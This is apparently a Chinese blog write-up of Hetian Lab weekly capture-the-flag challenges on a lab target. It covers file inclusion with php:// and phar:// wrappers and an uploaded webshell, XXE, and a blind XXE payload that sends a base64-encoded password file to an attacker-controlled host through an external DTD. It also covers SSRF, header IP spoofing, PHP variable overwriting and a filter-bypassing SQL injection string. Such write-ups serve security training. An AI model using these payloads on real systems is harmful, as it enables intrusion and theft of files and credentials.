Contents

合天网安Weekly系列(9-22)

0x00 前言

继续van。

0x01 第九周 | 试下phpinfo吧

  • 背景说明
    • 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
  • 实验环境
    • 目标机:Centos7 IP地址:10.1.1.147:5009
    • 攻击机:Kali IP地址:随机分配
    • 要求:获取目标flag
    • 提示:flag格式为Flag{}

根据题目,需要用到phpinfo页面。猜测需要利用文件包含漏洞。

把cn.php替换成phpinfo.php后失效,判断文件不在此目录,跳到父目录。打开了phpinfo。

网页底部藏着flag{abcd_hetianlab_1234_qwer}

0x02 第十周 | 试试协议吧

  • 背景说明
    • 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
  • 实验环境
    • 目标机:Centos7 IP地址:10.1.1.147:5010
    • 攻击机:Kali IP地址:随机分配
    • 要求:获取目标flag
    • 提示:flag格式为Flag{}

一进去就蹦出来个链接,点进去。

改下flie。

题目说要运用协议,那就尝试一番。php://filter/convert.base64-encode/resource=flag.php,就出来了一串base64编码。

ZmxhZyBpbiBoZXJlDQo8P3BocCAvL2ZsYWd7YWJkY18xMjM0X3F3ZXJfaGV0aWFufT8+

成功拿到flag{abdc_1234_qwer_hetian}

0x03 第十一周 | 签到般的包含

  • 背景说明
    • 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
  • 实验环境
    • 目标机:Centos7 IP地址:10.1.1.147:5011
    • 攻击机:Kali IP地址:随机分配
    • 要求:获取目标flag
    • 提示:flag格式为Flag{},菜刀目录:C:\tools\

传图片,直接失败。

测试发现jpg类型可以上传。

进入文件夹看一看。

题目说有个include.php文件,应该是个文件包含漏洞 ,输入url路径。

看了一位师傅的WP,要用phar伪协议,这个协议可以访问zip格式压缩包内容,我们先构造一个压缩包写一个php一句话到1.php,再把1.php压缩成1.zip,为了成为白名单,把1.zip后缀改为jpg,成功上传。

在菜刀输入http://10.1.1.147:5011/include.php?file=phar://a.jpg/a,连上WebShell。

得到flag{whoami_hetianlab_student}

Ps:没有第十二周的实验,但可以根据题目iP猜测10.1.1.147:5012,进去提示加file参数

没啥思路,搜了下,发现有师傅做过视频,视频开头给出了相关的题目信息,菜刀、日志路径、ubuntu系统和LFI(Local File Include),现有环境下按照师傅的方法无法复现,这题主要是通过/var/log/apache2/access.log进行命令执行,讲得挺好的。

0x04 第十三周 | simple xxe

  • 背景说明
    • 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
  • 实验环境
    • 目标机:Centos7 IP地址:10.1.1.147:5013
    • 攻击机:Kali IP地址:随机分配
    • 要求:获取目标flag
    • 提示:flag格式为Flag{}

查看源码,发现信息。

随便输入后抓个包,发现用户名和密码是通过XML标签传值的,题目也明说了,要用XXE(XML External Entity)。

借助file协议实现外部实体声明来读取文件,代码如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///opt/flag.txt">
]>
<user><username>&xxe;</username><password>1</password></user>

成功拿到。

0x05 第十四周 | blind xxe

  • 背景说明
    • 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
  • 实验环境
    • 目标机:Centos7 IP地址:10.1.1.147:5014
    • 攻击机:Kali IP地址:随机分配
    • 要求:获取目标flag
    • 提示:flag格式为Flag{}

题目考察Blind XXE,查看源码发现目标文件。

ifconfig查看本机ip为10.1.1.100,这里发现Apache服务没有开启,使用service apache2 start

采用如下的payload

post:
<!DOCTYPE root [ 
<!ENTITY % remote SYSTEM "http://10.1.1.100/1.dtd">
%remote;%int;%send;
]>

1.dtd的内容
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///tmp/password.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://10.1.1.100:9999?p=%file;'>">

python -m SimpleHTTPServer 9999

得到一串base64编码ZmxhZ3toZXRpYW5fMTIzNF9hd2RyfQo=,解码得到flag{hetian_1234_awdr}

0x06 第十五周 | 回显的SSRF

  • 背景说明
    • 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
  • 实验环境
    • 目标机:Centos7 IP地址:10.1.1.147:5015
    • 攻击机:Kali IP地址:随机分配
    • 要求:获取目标flag
    • 提示:flag格式为Flag{}

给出了flag在/opt/flag.txt,题目明示了是有回显的SSRF,用file协议直接读取。

0x07 第十六周 | 有点另类的SSRF

  • 背景说明
    • 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
  • 实验环境
    • 目标机:Centos7 IP地址:10.1.1.147:5016
    • 攻击机:Kali IP地址:随机分配
    • 要求:获取目标flag
    • 提示:flag格式为Flag{}

按照上一个实验的步骤用file协议直接读取,提示要以管理员身份登录。

使用BurpPOST一个admin的值,得到下一条提示信息。

使用X-Forwarded-For、X-Real-Ip、X-Client-Ip、Client-Ip等来伪造ip。

打开source.txt,查看源码,能看到flag的文件位置。

<?php 
// /opt/flag.txt

function getUrlContent($url){
    // $url = safe($url);
    $url = escapeshellarg($url);
    $pl = "curl ".$url;
    // echo $pl;
    $content = shell_exec($pl);
    return $content;
}

echo "you need to login as admin!";
echo "<!-- post param  'admin' -->";
if(isset($_POST['admin']))
{
    if($_POST['admin']==1)
    {
        if($_SERVER['HTTP_X_CLIENT_IP'])
        {
            echo "fileread source.txt";
            if (isset($_POST['handler'])&&!empty($_POST['handler']))
            {
					$url = $_POST['handler'];
					$content_url = getUrlContent($url);
					echo $content_url;
}
}
        else
            {
                echo "only 127.0.0.1 can get the flag!!";
            }
}else
{
	$_POST['admin']=0;
}
}

0x08 第十七周 | 给你扔了串代码

  • 背景说明
    • 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
  • 实验环境
    • 目标机:Centos7 IP地址:10.1.1.147:5017
    • 攻击机:Kali IP地址:随机分配
    • 要求:获取目标flag
    • 提示:flag格式为Flag{}

首页给出了源代码的图片。

这是一道变量覆盖的题目,重点关注这两段代码。

foreach ($_GET as $key =>$value){
       $$key=$$value;
}foreach ($_POST as $key =>$value){
       $$key=$value;
}

这道题说f12可以使用hackbar,但实际上用不了,换个环境,继续做。Get传值时将$_200的值设为$flag的值,POST传值flag=随便的数,就能绕过,然后输出$_200里的值。

0x09 第十八周 | 学会变量覆盖

  • 背景说明
    • 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
  • 实验环境
    • 目标机:Centos7 IP地址:10.1.1.147:5018
    • 攻击机:Kali IP地址:随机分配
    • 要求:获取目标flag
    • 提示:flag格式为Flag{}

查看源代码信息。

试一下url后加上/?gift=,直接得到flag{hetianlab},猜测变量content的值为空,变量flag需要传上去。

0x0A 第十九周 | Easy PHP

  • 背景说明
    • 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
  • 实验环境
    • 目标机:Centos7 IP地址:10.1.1.147:5019
    • 攻击机:Kali IP地址:随机分配
    • 要求:获取目标flag
    • 提示:flag格式为Flag{}

分析源码

重点关注Get传值方法,设一个中间变量来传递flag的值。

0x0B 第二十周 | 最后一道变量覆盖

  • 背景说明
    • 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
  • 实验环境
    • 目标机:Centos7 IP地址:10.1.1.147:5020
    • 攻击机:Kali IP地址:随机分配
    • 要求:获取目标flag
    • 提示:flag格式为Flag{}

分析源码

这个需要利用PHP的弱类型来进行md5碰撞和parse_str的变量覆盖。

0x0C 第二十一周 | 你的空格哪去了

  • 背景说明
    • 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
  • 实验环境
    • 目标机:Centos7 IP地址:10.1.1.147:5021
    • 攻击机:Kali IP地址:随机分配
    • 要求:获取目标flag
    • 提示:flag格式为Flag{}

简单的SQL注入,需要绕过空格的过滤。

经过测试在order by 3时能够正常回显,order by 4时无回显,可知列数为3。构造语句0'union/**/select/**/1,flag,3/**/from/**/flag#,成功回显。

0x0D 第二十二周 | 想想怎么绕过过滤吧

  • 背景说明
    • 本实验无writeup,需要同学们发挥自己所学,拿下最终目标。
  • 实验环境
    • 目标机:Centos7 IP地址:10.1.1.147:5022
    • 攻击机:Kali IP地址:随机分配
    • 要求:获取目标flag
    • 提示:flag格式为Flag{}

页面与上一题相同,select大写绕过即可。